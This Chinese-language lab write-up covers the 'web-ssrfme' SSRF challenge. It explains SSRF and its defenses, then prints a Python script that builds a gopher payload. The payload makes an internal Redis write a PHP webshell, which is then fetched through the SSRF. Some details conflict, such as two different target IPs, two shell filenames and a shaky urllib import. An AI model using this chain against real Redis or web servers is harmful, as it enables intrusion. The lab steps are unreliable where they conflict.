web-ssrfme

发布于:2025-04-19 ⋅ 阅读:(16) ⋅ 点赞:(0)

目录

web-ssrfme

一.学前知识

1.原理

2、攻击场景与危害

3、防御方法

二.web-ssrfme

1.下载

2.拉取

3.访问8091端口

4.查看内网ip

5.检测内网存活主机

6.测试漏洞

7.生成 payload

8.写入 Webshell

9.flag


web-ssrfme

一.学前知识

SSRF漏洞原理与攻击防御方法

1.原理

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造恶意请求,诱导服务端向非预期目标发起网络请求的安全漏洞。其核心原理是‌服务端未对用户提交的URL参数进行有效过滤和限制‌,导致攻击者可操控服务端访问内网资源或敏感服务‌。

典型触发场景‌:

数据获取功能‌:如网页转码、在线翻译、图片/文件下载等需从外部URL获取数据的业务‌。 接口调用‌:服务端通过用户提供的URL调用API或加载远程内容(如XML文件)‌。 协议处理缺陷‌:服务端支持非HTTP协议(如file://、gopher://、dict://),允许访问本地文件或内网服务‌。

2、攻击场景与危害

内网资源探测‌

通过构造请求扫描内网IP和端口(如Redis默认端口6379),判断服务开放状态‌。 利用错误信息差异(如响应时间、返回内容)识别内网主机和服务‌。

敏感数据泄露‌

访问内网数据库、配置文件(如file:///etc/passwd)或管理界面‌。 通过gopher协议读取本地文件或执行未授权操作(如Redis未授权访问)‌。

服务端请求伪造‌

攻击内网应用:利用服务端发起HTTP请求,绕过防火墙限制,攻击内网Web应用(如Struts2漏洞利用)‌。 协议滥用:通过Redis协议写入Webshell或定时任务,实现远程控制‌。

3、防御方法

输入校验与过滤‌

限制协议类型‌:禁用高危协议(如file://、gopher://),仅允许HTTP/HTTPS‌。 白名单机制‌:校验URL域名和IP,禁止访问内网地址段(如127.0.0.1、192.168..)‌。 规范化处理‌:对用户输入的URL进行解析和重组,避免绕过(如0x7F.0.0.1绕过127.0.0.1检测)‌。

网络与权限控制‌

最小化服务端权限‌:运行Web服务的账户应限制网络访问权限,避免直接访问敏感服务‌。 端口限制‌:仅允许访问业务必需的端口(如80、443)‌。 内网隔离‌:通过防火墙策略禁止服务端主动向外网或非信任内网发起请求‌。

增强服务端安全性‌

统一错误处理‌:避免通过错误信息暴露端口状态或内部网络结构‌。 请求结果校验‌:验证服务端返回的数据类型(如仅允许图片格式),防止数据泄露‌。 依赖服务加固‌:如Redis启用密码认证(requirepass)、绑定本地地址‌。

二.web-ssrfme

在我们这次的实验,主要是web-ssrfme的复现

1.下载

首先下载web-ssrfme.zip,然后放到虚拟机内,解压后cd切换到含有docker-compose.yml文件夹目录下输入指令,然后进行拖拽docker镜像命令

cd web-ssrfme/
cat docker-compose.yml
2.拉取

拉取dockers环境

docker-compose up -d
3.访问8091端口

进行尝试访问8091端口,然后出现了下面的代码页面

 <?php
highlight_file(__file__);
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}
 
if(isset($_GET['url'])){
    $url = $_GET['url'];
 
    if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match))
    {
 
        die('No, No, No!');
    }
    curl($url);
}
if(isset($_GET['info'])){
    phpinfo();
}
?>

查看上面的代码可以发现禁用了file协议、dict协议、127.0.0.1和localhost,但是这里并没有过滤http协议和gopher协议,所以我们可以使用http协议进行内网主机存活探测

4.查看内网ip

然后我们可以通过phpinfo来查看内网ip

5.检测内网存活主机

我们使用抓包工具检测内网存活主机,发现 172.20.0.2存在 HTTP服务,并返回 Go away。

6.测试漏洞

使用 burpsuite 对 172.18.0.2进行端口扫描,发现 6379端口返回 Redis报错信息,说明目标主机上运行着 Redis 服务,这说明可能存在未授权访问漏洞,那么我们就可以尝试redis未授权访问。

7.生成 payload

redis未授权访问里,我们可以让Python 脚本生成 gopher协议 payload

import urllib
protocol = "gopher://"
ip = "172.20.0.2"
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "web.php"
path = "/var/www/html/upload"
passwd = ""
cmd = [
    "flushall",
    "set 1 {}".format(shell.replace(" ", "${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save"]
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_" 
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr)) + CRLF
    for x in redis_arr:
        x_clean = x.replace("${IFS}", " ")
        cmd += "$" + str(len(x_clean)) + CRLF + x_clean + CRLF
    return cmd
if __name__ == "__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    print(payload)

8.写入 Webshell

写入 Webshell(木马),将生成后的payload进行二次编码,然后Redis 执行,会在 /var/www/html/upload目录生成 shell.php,其中包含 webshell代码

9.flag

接下来就是最后一步,访问 Webshell 获取 flag成功写入 web.php,使用 SSRF 访问它

/?url=http://172.18.0.2/upload/web.php

最后成功得到了flag


网站公告

今日签到

点亮在社区的每一天
去签到